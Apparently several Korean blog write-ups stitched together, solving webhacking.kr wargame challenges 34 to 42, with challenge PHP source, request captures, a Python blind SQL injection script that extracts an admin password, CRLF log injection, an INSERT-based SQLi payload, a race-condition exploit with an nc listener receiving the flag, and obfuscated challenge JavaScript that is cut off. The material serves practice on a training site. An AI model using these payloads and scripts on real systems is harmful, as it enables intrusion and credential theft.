파일을 다운로드 하는 Request 패킷을 보면 다음과 같습니다.

GET https://webhacking.kr/challenge/web-20/?down=dGVzdC50eHQ= HTTP/1.1

Host: webhacking.kr

Connection: keep-alive

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36

Sec-Fetch-User: ?1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Referer: https://webhacking.kr/challenge/web-20/

Accept-Encoding: gzip, deflate, br

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,lt;q=0.6

Cookie: PHPSESSID=peaoijko3v686g9tshr2s7fs44 


Base64로 디코딩 해보면 다음과 같습니다.

여기서 flag.docx를 클릭으로는 다운로드 할 수 없습니다.

HTML 코드를 보면 그냥 alert 함수를 실행시키는 Javascript 코드밖에 없습니다.


그러면 flag.docx 파일을 base64로 인코딩하여 Request해보면 flag 파일을 얻을 수 있습니다.





'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
<?php
  include "../../config.php";
  include "./inc.php";
  if($_GET['view_source']) view_source();
  error_reporting(E_ALL);
  ini_set("display_errors", 1);
?><html>
<head>
<title>Challenge 41</title>
</head>
<body>
<?php
  if(isset($_FILES['up']) && $_FILES['up']){
    $fn = $_FILES['up']['name'];
    $fn = str_replace(".","",$fn);
    $fn = str_replace("<","",$fn);
    $fn = str_replace(">","",$fn);
    $fn = str_replace("/","",$fn);

    $cp = $_FILES['up']['tmp_name'];
    copy($cp,"./{$upload_dir}/{$fn}");
    $f = @fopen("./{$upload_dir}/{$fn}","w");
    @fwrite($f,$flag);
    @fclose($f);
    echo("Done~");
  }
?>
<form method=post enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>

위의 소스코드를 보면 5번 라인에 Error에 대한 리포트를 출력하는 것을 볼 수 있습니다.

또한 flag 값은 우리가 업로드한 파일 이름으로 작성되는 것을 확인할 수 있습니다.

그런데, 우리가 업로드한 파일은 특정 $upload_dir에 있는 것으로 확인되었는데, 이 디렉토리는 알려주지 않습니다.


그러면 고의적으로 5번 라인에서 발생하는 에러를 통해 에러 메시지에서부터 어느정도 정보를 얻을 수 있을 것 같습니다.

에러를 발생시키기 위해서는 적절하지 않은 입력만큼 좋은 것이 없겠죠!


upload시 filename에 입력할 수 있는 최대 이름의 길이를 알아내보았는데, 파일 이름의 최대 길이를 알아내보니 다음과 같습니다.

뭐 일단 위와 같이 255 길이라고 하니 파일 이름을 엄청 길게 입력해보았습니다.


------WebKitFormBoundaryY1Y6GBYxaviuw2QG

Content-Disposition: form-data; name="up"; filename="kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file"

Content-Type: application/octet-stream


------WebKitFormBoundaryY1Y6GBYxaviuw2QG--


업로드 패킷은 위와 같이 전송되었습니다.

파일 이름 길이는 몇일지는 모르지만 엄청 길게 해보았습니다.


그랬더니 다음과 같은 Response가 날아왔습니다.

<html>
<head>
<title>Challenge 41</title>
</head>
<body>
<br />
<b>Warning</b>:  copy(./4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file): failed to open stream: File name too long in <b>/var/www/html/challenge/web-19/index.php</b> on line <b>21</b><br />
Done~<form method=post enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>


위와 같이 업로드 경로가 나왔습니다.

이제 여기에 업로드한 파일 이름으로 들어가보도록 하면, 플래그가 입력되어 있을 것입니다.

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06

위의 페이지에서 이것저것 공격을 트라이 해보고 WHERE 절을 분석해본 결과,

다음과 같은 WHERE 절이 아닐까 하는 뇌피셜을 작성해봅니다.


SELECT 뭐시기 FROM 뭐시기 WHERE pw='비밀번호' and no=번호 and id='아이디' 


공격을 시도했을 때 admin 페이지로 들어가지는 경우는 다음과 같습니다.


 

 GET 공격 쿼리

https://webhacking.kr/challenge/web-29/?no=0||no=2&id=admin&pw=guest


저기서 pw는 따로 영향을 받지 않고 id에서 영향을 받은 것으로 확인되었습니다.

이제 공격을 수행하고 발견한 admin 페이지에서 공격을 수행해봐야 할 거 같은데..


admin 페이지는 다음과 같습니다.



여기서 test라는 값을 입력하니 auth라는 GET 파라미터로 값을 넘기는 것을 확인하였습니다.

저 입력 페이지 외에는 따로 알 수 있는 정보가 없습니다.


당장 이 페이지에서는 공격이 따로 불가능한 것 같습니다.

admin password는 입력할 수 있는 값과 결과가 한정적이기 때문에 GET 메소드에서 공격을 수행하여 Blind SQLi를 수행해야 할 것 같습니다.


일단 GET 메소드에서 공격 쿼리에 어떤 걸 사용할 수 있는지 대략적으로 알아본 결과는 다음과 같습니다.


 

 Filtered

%20, limit, 싱글쿼터 등


 

 Not Filtered

%09, %0a, %0d, UNION, SELECT 등


여기서 여러가지 공격을 시도해보고 다음과 같이 알아내보았습니다.


 

 공격 쿼리

no=0||no=2&&id=0x61646d696e&&알아내고자 하는 조건문

- no=0||no=2&&id=0x61646d696e&&length(pw)=??

- no=0||no=2&&id=0x61646d696e&&(BLIND SQL INJECTION 공격 쿼리)


위와 같은 값을 이용하여 공격을 수행할 수 있었습니다.





import sys
import requests
import urllib

# no -------------------------
# %20       filtered
# limit     filtered
# 
# %09       not filtered
# %0a       not filtered
# %0d       not filtered

# '         filtered <-- Failure(일반 실패한 것처럼 보임... 근데 아님)

# id -------------------------
# union     not filtered
# select    not filtered

requests.packages.urllib3.disable_warnings()
sess    = requests.session()
URL     = 'https://webhacking.kr/challenge/web-29/?no=%(no)s&id=%(id)s&pw=%(pw)s'
headers = { 'Cookie': 'PHPSESSID=q0gle6aih4e7i95ted71ipo0cf'}
proxies = { 'http'  : 'http://localhost:8888',
            'https' : 'http://localhost:8888' }

no  = "0||no=2&&id=0x61646d696e&&" # admin in hex
id  = "sfsdfsd"
pw  = "sdfsdf"

passLen = 0

for i in range(1,100):
    url_payload = { 'no'    : urllib.parse.quote(no+"length(pw)=%d" % i + "#"),
                    'id'    : urllib.parse.quote(id),
                    'pw'    : urllib.parse.quote(pw)}

    res         = sess.get( url     =URL % url_payload,
                            headers =headers,
                            proxies =proxies,
                            verify  =False)

    if 'Fail' in res.text:
        pass
    elif 'admin' in res.text:
        passLen = i
        break

print("[+] Password Length Found : %3d" % passLen)

bitLen = 8
passwd = ""

for j in range(1, passLen+1):

    tmpBit = ""

    for i in range(1,bitLen+1):
        url_payload = { 'no'    : urllib.parse.quote(no+"substr(lpad(bin(conv(hex(substr(pw,%d,1)),16,10)),8,0),%d,1)=1#" \
                                                         % (j, i)),
                        'id'    : urllib.parse.quote(id),
                        'pw'    : urllib.parse.quote(pw)}

        res         = sess.get( url     =URL % url_payload,
                                headers =headers,
                                proxies =proxies,
                                verify  =False)
        if 'Fail' in res.text:
            tmpBit += "0"
        elif 'admin' in res.text:
            tmpBit += "1"

    print("[-] tmpBit : %s" % tmpBit )
    passwd += chr(int(tmpBit, 2))


print("[+] Password Found : %s" % passwd)

print('[+] End ')



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Chellenge 39</title>
</head>
<body>
<?php
  $db = dbconnect();
  if($_POST['id']){
    $_POST['id'] = str_replace("\\","",$_POST['id']);
    $_POST['id'] = str_replace("'","''",$_POST['id']);
    $_POST['id'] = substr($_POST['id'],0,15);
    $result = mysqli_fetch_array(mysqli_query($db,"select 1 from member where length(id)<14 and id='{$_POST['id']}"));
    if($result[0] == 1){
      solve(39);
    }
  }
?>
<form method=post action=index.php>
<input type=text name=id maxlength=15 size=30>
<input type=submit>
</form>
<a href=?view_source=1>view-source</a>
</body>
</html>


SQLi 문제인 거 같습니다.

여기서 문제를 볼 때 id에 넣은 값 중에 싱글쿼터, 역슬레쉬는 str_replace되는 것을 볼 수 있습니다.

그리고 입력하는 값은 length가 14보다 작아야 하며, 어차피 substr으로 잘리게 되네요.


이러한 조건을 우회하고 SQLi를 수행해야 합니다.


그런데 자세히 보면 SQL 문을 보면 맨 뒤에 싱글쿼터가 하나 덜 쓰여져있는 걸 볼 수 있습니다.

그러면 싱글쿼터를 잘 활용하면 될 거 같습니다.


여기서 트릭의 요소로써 활용될 수 있는 게 substr입니다.

0,15라고 하면 15번째까지 짜른다는 의미입니다. 여기서 replace할 때 싱글쿼터는 두 개의 싱글쿼터로 변환되니, 이를 이용하여 16번째에 싱글쿼터가 오도록하면 잘라낼 수 있을 것 같습니다.


혹시 guest가 있을까 하고 값을 입력해봤는데 guest가 있더군요..

MySQL에서는 값에 띄어쓰기가 있으면 띄어쓰기를 제외한 값을 비교합니다.


예를들면 where절에 'guest          ' 라는 값과 'guest'라는 값을 넣었을 때, 같은 값으로 받아들입니다.

guest + 띄어쓰기 9번 + 싱글쿼터 를 하게 되면 문제가 풀리게 됩니다.







'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06


위와 같은 문제가 나타나는데 따로 뭐라 입력해도 따로 출력이 변하거나 하지는 않습니다.

Response로 오는 것도 입력 전의 값과 동일합니다.


<html>
<head>
<title>Challenge 38</title>
</head>
<body>
<h1>LOG INJECTION</h1>
<form method=post action=index.php>
<input type=text name=id size=20>
<input type=submit value='Login'>
</form>
<!-- <a href=admin.php>admin page</a> -->
</body>
</html>


소스를 보니까 위와 같이 admin 페이지가 따로 있었다고 주석이 있습니다.

admin.php로 들어가니 다음과 같은 화면이 나옵니다.


아이피가 너무 많이 나와서 가렸습니다.

위의 문제에서는 admin으로 로그인한 로그를 남기면 되는 것 같습니다.


제가 kkamikoon으로 로그인했던 값도 아래에 나타나 있습니다.


여기서 로그를 남길 때 개행문자가 통하는지 확인해보았더니 %0d, %0a가 모두 통하는 것을 확인하였습니다.

그러면 값이 다음과 같이 나옵니다.


[내 아이피]:[로그인창에서 입력한 값]



여기서 %0d%0a를 Parameter Tampering을 통해 값을 입력해보면 위와 같이 나오게 됩니다.

입력한 값 : id=kkamikoon%0d%0anextline!!


이제 이를 이용하여 kkamikoon%0d%0a[내 아이피]:admin 이렇게 입력하면 답이 나오게 됩니다.






'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31

해당 문제는 레이스컨디션 문제입니다.


소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 37</title>
</head>
<body>
<?php
  $db = dbconnect();
  $query = "select flag from challenge where idx=37";
  $flag = mysqli_fetch_array(mysqli_query($db,$query))['flag'];
  $time = time();

  $p = fopen("./tmp/tmp-{$time}","w");
  fwrite($p,"127.0.0.1");
  fclose($p);

  $file_nm = $_FILES['upfile']['name'];
  $file_nm = str_replace("<","",$file_nm);
  $file_nm = str_replace(">","",$file_nm);
  $file_nm = str_replace(".","",$file_nm);
  $file_nm = str_replace("/","",$file_nm);
  $file_nm = str_replace(" ","",$file_nm);

  if($file_nm){
    $p = fopen("./tmp/{$file_nm}","w");
    fwrite($p,$_SERVER['REMOTE_ADDR']);
    fclose($p);
  }

  echo "<pre>";
  $dirList = scandir("./tmp");
  for($i=0;$i<=count($dirList);$i++){
    echo "{$dirList[$i]}\n";
  }
  echo "</pre>";

  $host = file_get_contents("tmp/tmp-{$time}");

  $request = "GET /?{$flag} HTTP/1.0\r\n";
  $request .= "Host: {$host}\r\n";
  $request .= "\r\n";

  $socket = fsockopen($host,7777,$errstr,$errno,1);
  fputs($socket,$request);
  fclose($socket);

  if(count($dirList) > 20) system("rm -rf ./tmp/*");
?>
<form method=post enctype="multipart/form-data" action=index.php>
<input type=file name=upfile><input type=submit>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>


여기서 15번 ~ 17번 라인을 보면 해당 시간에 맞는 timestamp의 파일을 생성하는 것을 볼 수 있습니다.

그리고 26번 ~ 30번 라인을 보면 파일을 생성하자마자 우리가 입력한 파일을 생성해주는 것을 볼 수 있습니다.

그리고 생성된 timestamp 이름의 파일의 내용을 file_get_contents 함수를 통해 가져와서 파일을 읽어옵니다.


그리고 41번 ~ 42번 라인을 보면 읽어온 값을 host에 넣고 GET 메소드로 요청을 보내는 것을 볼 수 있습니다.


ㅂㄷㅂㄷ 너무나 레이스 컨디션임을 잘 알려주고 있지만, 생각보다 짜증나는 문제가 아닐 수 없습니다.


일단 nc로 우리 서버에 7777포트를 열어주도록 합니다.


nc -lvp 7777


그리고 레이스 컨디션을 위한 두 개의 소스를 작성하여 실행시킵니다.

해당 문제의 레이스컨디션을 위해서는 두 가지의 소스코드가 필요합니다.


 

 파일 업로드 소스


#!/bin/python3
import requests
import time

requests.packages.urllib3.disable_warnings()
#sess        = requests.session()
URL         = 'https://webhacking.kr/challenge/web-18/'
headers     = { 'Cookie': '내 세션 값'}
proxies     = { 'http'  : 'http://localhost:8888',
                'https' : 'http://localhost:8888' }

while True:
    for i in range(0,3):
        file_name   = "tmp-" + str(int(time.time())+i)

        with open(file_name, 'w') as file_w:
            file_w.write("내 서버 아이피")

        files       = { 'upfile'        : open(file_name, 'rb')}

        res         = requests.post(url=URL + 'index.php',
                                    headers=headers,
                                    files=files,
                                    verify=False)

        print("[+] File Name : %s" % file_name)
        #print("[+] Result    : %s" % res.text)


위의 소스코드는 파일을 생성하여 내 아이피값이 tmp-timestamp 값에 입력되도록 계속해서 반복하여 업로드하는 소스입니다.

또한 해당 소스에서는 혹시 몰라 timestamp ~ timestamp+2까지의 값을 미리 업로드를 하도록 하였습니다.(혹시 몰라서)

그리고 proxies 는 선택사항이니 지워주셔도 무방합니다.



 

 접속하는 소스


import requests
import time

requests.packages.urllib3.disable_warnings()
#sess        = requests.session()
URL         = 'https://webhacking.kr/challenge/web-18/'
headers     = { 'Cookie': '내 세션'}
proxies     = { 'http'  : 'http://localhost:8888',
                'https' : 'http://localhost:8888' }

while True:
    for i in range(0,3):
        file_name   = "tmp-" + str(int(time.time())+i)        
        check       = requests.get(url=URL+'tmp/'+file_name,
                                   headers=headers,
                                   verify=False)

        print("[+] Check     : %s" % check.text)


위의 두 가지 소스를 동시에 실행시키면 nc로 켜둔 서버에 값이 들어갈 것입니다.






'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31

문제에서


While editing index.php file using vi editor in the current directory, a power outage caused the source code to disappear.

Please help me recover.


라고 나와있습니다.


위의 글을 해석해보면, vi 에디터로 index.php 파일을 수정하는 도중 파워가 꺼져서 망했다고 하며, 혹시 이를 복구해줄 수 있느냐고 하는 문장입니다.

vi 에디터로 파일을 수정하게 되면 해당 파일은 .파일이름.php.swp로 복구 파일이 있게 됩니다.


.index.php.swp 파일을 확인해보면 플래그가 나오게 됩니다.


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px>
<input name=id type=hidden value=guest>
<input type=submit value='add'>
</form>
<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
  if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
  if(strlen($_GET['id']) > 5) exit("no hack");
  if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
  mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
  echo "Done<br>";
}

$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
  solve(35);
  mysqli_query($db,"delete from chall35");
}

$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'");
echo "<!--\n";
while($r = mysqli_fetch_array($phone_list)){
  echo htmlentities($r['id'])." - ".$r['phone']."\n";
}
echo "-->\n";
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>


위의 문제에서 INSERT 구문에서 id에는 값을 넣을 수 없어 보였습니다.

길이가 5글자 이하로 진행되기 때문입니다.


그렇다면 여기서 GET 으로 넘겨주는 phone에 INSERT를 이용한 SQLi를 수행해야 합니다.


Attack Query : 01012345678),('guest','님.의.ip.값',01012345555

위와 같은 값을 넣으면 쿼리가 성공적으로 수행된 것을 확인할 수 있습니다.


위의 값에서 admin으로만 바꿔주면 문제가 풀리게 됩니다.



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31

문제를 들어가면 debug me가 나옵니다.

시작부터 alert 메시지가 뜨니 신이 납니다....


js-7인 걸로 보아 소스코드 보기를 해보도록 합시다.


문제 파일 이쁘게 만들기 전~

<html>
<head>
<title>Challenge 34</title>
<script>
var a=['RcOhTDV1Ew==','McOVwqpRBg==','c8K/w43DvcK8','SsOrTCF1CVDCgcKLEsKc','NsK/w4Bc','G1TDpwk=','AcKtwqfDlW7Dsw==','e3kkcQJfwoNFDEU9','QMOXDBo=','w5bCsWlh','eWY6bg8=','FnbDoEvDtl1LUkB7w4Q=','esOZTiPDsg==','bzfCkFfCtA==','ZmzDjHcn','PxLCm3LDvA==','IcKlVy9pw57DgMK3w6kmwpvCiUnDhcOKw4A=','LMKnwqECawEeEMOZQsK7wrLCscKpSG1AwqvDvjnDpMKhOSDCqQfDmVRowo1nwpzCh8OGc1vDv3cKVR/CgMK4w7PCukbCv8O8woNHXcK7SsOmMhHDnUEJw4lsw6g=','wrTDnltl','UMOXHRs=','Tz0lw48=','O8K0w5JcwrA=','w5DCpnx/LA==','HsKrS8KVQw==','dcKvfnkhUQ3DncOFIsOew5lHwr7CjcKYAsOuwrc3UjhfwopNwqwuWcOjw4PDrkIRWAfCnSIdw5jDtsKyWFBMwq4YMQvDhRrCrlBlw71LUR5HGMKwEBs=','w4RAw5xg','RkQSNA==','SsOsQztv','wonDvMOwwow=','wovDlMKvw5nCog==','w73Ch8K5VcK/','wpN7HsOMwpI=','w5/CuMKDacOKPcKoB3jDomQ=','wpnDvMOhwo0=','wp4xwrvDvA==','H1LDrhc=','wo86woHDm37Dow==','woY4wobDmg==','wr/CgMKQNcOo','ecOlUSF2S3fCsMKbGQ==','E3nCrcKe','w5d5w6HDnsOFw7RcRFjDosKsZ8OHEcOv','QMOXDBrCrcKLwp3DvA==','w5fDsiPDrsOf','V3c3A0Q=','E8OjwpNaP1lDTMKXcsO5','G08JPDZMw5s8w4ITw54dEMKAwps=','wo8pwoXDnmg=','wpo5wqvDoMOQw6Jd','bH4+TyM='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};var g=function(){var h={'data':{'key':'cookie','value':'timeout'},'setCookie':function(i,j,k,l){l=l||{};var m=j+'='+k;var n=0x0;for(var n=0x0,p=i['length'];n<p;n++){var q=i[n];m+=';\x20'+q;var r=i[q];i['push'](r);p=i['length'];if(r!==!![]){m+='='+r;}}l['cookie']=m;},'removeCookie':function(){return'dev';},'getCookie':function(s,t){s=s||function(u){return u;};var v=s(new RegExp('(?:^|;\x20)'+t['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var w=function(x,y){x(++y);};w(e,d);return v?decodeURIComponent(v[0x1]):undefined;}};var z=function(){var A=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return A['test'](h['removeCookie']['toString']());};h['updateCookie']=z;var B='';var C=h['updateCookie']();if(!C){h['setCookie'](['*'],'counter',0x1);}else if(C){B=h['getCookie'](null,'counter');}else{h['removeCookie']();}};g();}(a,0xa2));var b=function(c,d){c=c-0x0;var e=a[c];if(b['clOwyu']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());var r=function(s,d){var u=[],v=0x0,w,x='',y='';s=atob(s);for(var z=0x0,A=s['length'];z<A;z++){y+='%'+('00'+s['charCodeAt'](z)['toString'](0x10))['slice'](-0x2);}s=decodeURIComponent(y);for(var B=0x0;B<0x100;B++){u[B]=B;}for(B=0x0;B<0x100;B++){v=(v+u[B]+d['charCodeAt'](B%d['length']))%0x100;w=u[B];u[B]=u[v];u[v]=w;}B=0x0;v=0x0;for(var C=0x0;C<s['length'];C++){B=(B+0x1)%0x100;v=(v+u[B])%0x100;w=u[B];u[B]=u[v];u[v]=w;x+=String['fromCharCode'](s['charCodeAt'](C)^u[(u[B]+u[v])%0x100]);}return x;};b['wxbdQn']=r;b['ZjQald']={};b['clOwyu']=!![];}var D=b['ZjQald'][c];if(D===undefined){if(b['XvSLaK']===undefined){var E=function(F){this['swkpev']=F;this['DGOTpS']=[0x1,0x0,0x0];this['zlbdZJ']=function(){return'newState';};this['KCuPKs']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['AnZPoE']='[\x27|\x22].+[\x27|\x22];?\x20*}';};E['prototype']['DCDTIR']=function(){var G=new RegExp(this['KCuPKs']+this['AnZPoE']);var H=G['test'](this['zlbdZJ']['toString']())?--this['DGOTpS'][0x1]:--this['DGOTpS'][0x0];return this['ZjMdYn'](H);};E['prototype']['ZjMdYn']=function(I){if(!Boolean(~I)){return I;}return this['LqSTke'](this['swkpev']);};E['prototype']['LqSTke']=function(J){for(var K=0x0,L=this['DGOTpS']['length'];K<L;K++){this['DGOTpS']['push'](Math['round'](Math['random']()));L=this['DGOTpS']['length'];}return J(this['DGOTpS'][0x0]);};new E(b)['DCDTIR']();b['XvSLaK']=!![];}e=b['wxbdQn'](e,d);b['ZjQald'][c]=e;}else{e=D;}return e;};var e=function(){var c=!![];return function(d,e){var f=c?function(){if(e){var g=e['apply'](d,arguments);e=null;return g;}}:function(){};c=![];return f;};}();var Q=e(this,function(){var c=function(){return'\x64\x65\x76';},d=function(){return'\x77\x69\x6e\x64\x6f\x77';};var e=function(){var f=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var g=function(){var h=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var i=function(j){var k=~-0x1>>0x1+0xff%0x0;if(j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===k)){l(j);}};var l=function(m){var n=~-0x4>>0x1+0xff%0x0;if(m['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==n){i(m);}};if(!e()){if(!g()){i('\x69\x6e\x64\u0435\x78\x4f\x66');}else{i('\x69\x6e\x64\x65\x78\x4f\x66');}}else{i('\x69\x6e\x64\u0435\x78\x4f\x66');}});Q();var q=function(){var r=!![];return function(s,t){var u=r?function(){if(b('0x0','hezG')!==b('0x1','A6hd')){if(t){if(b('0x2','G(vo')===b('0x3','K*$C')){q(this,function(){var j=new RegExp(b('0x4','$VvG'));var k=new RegExp(b('0x5','2@LG'),'i');var l=H(b('0x6','k(C)'));if(!j[b('0x7','14cN')](l+'chain')||!k[b('0x8','aEot')](l+b('0x9','ln]I'))){l('0');}else{H();}})();}else{var z=t[b('0xa','$ybZ')](s,arguments);t=null;return z;}}}else{var f=r?function(){if(t){var g=t[b('0xb','C%Xw')](s,arguments);t=null;return g;}}:function(){};r=![];return f;}}:function(){};r=![];return u;};}();(function(){q(this,function(){var D=new RegExp('function\x20*\x5c(\x20*\x5c)');var E=new RegExp(b('0xc','RLUb'),'i');var 